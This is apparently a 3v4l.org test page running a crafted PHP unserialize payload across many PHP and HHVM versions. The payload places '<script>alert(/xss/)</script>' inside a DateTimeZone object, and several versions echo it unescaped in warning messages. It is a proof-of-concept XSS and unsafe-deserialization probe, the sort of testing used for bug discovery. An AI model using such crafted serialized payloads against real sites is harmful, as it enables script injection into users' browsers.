3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $str = 'O:12:"DateTimeZone":2:{s:13:"timezone_type";i:3;s:8:"timezone";s:29:"<script>alert(/xss/)</script>";}'; unserialize($str);
based on FclDY
Output for 7.1.0
Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (<script>alert(/xss/)</script>) in /in/VDMDe on line 4 Fatal error: Uncaught Error: Timezone initialization failed in /in/VDMDe:4 Stack trace: #0 [internal function]: DateTimeZone->__wakeup() #1 /in/VDMDe(4): unserialize('O:12:"DateTimeZ...') #2 {main} thrown in /in/VDMDe on line 4
Process exited with code 255.
Output for 5.5.22 - 5.5.38, 5.6.6 - 5.6.28, 7.0.0 - 7.0.14
Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (<script>alert(/xss/)</script>) in /in/VDMDe on line 4 Fatal error: DateTimeZone::__wakeup(): Timezone initialization failed in /in/VDMDe on line 4
Process exited with code 255.
Output for hhvm-3.10.0 - 3.13.2
Notice: Unable to unserialize: [O:12:"DateTimeZone":2:{s:13:"timezone_type";i:3;s:8:"timezone";s:29:"<script>alert(/xss/)</script>";}]. A null object pointer was used.. in /in/VDMDe on line 4
Output for 5.5.0 - 5.5.21, 5.6.0 - 5.6.5
Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (<script>alert(/xss/)</script>) in /in/VDMDe on line 4
Output for 4.3.0 - 5.4.45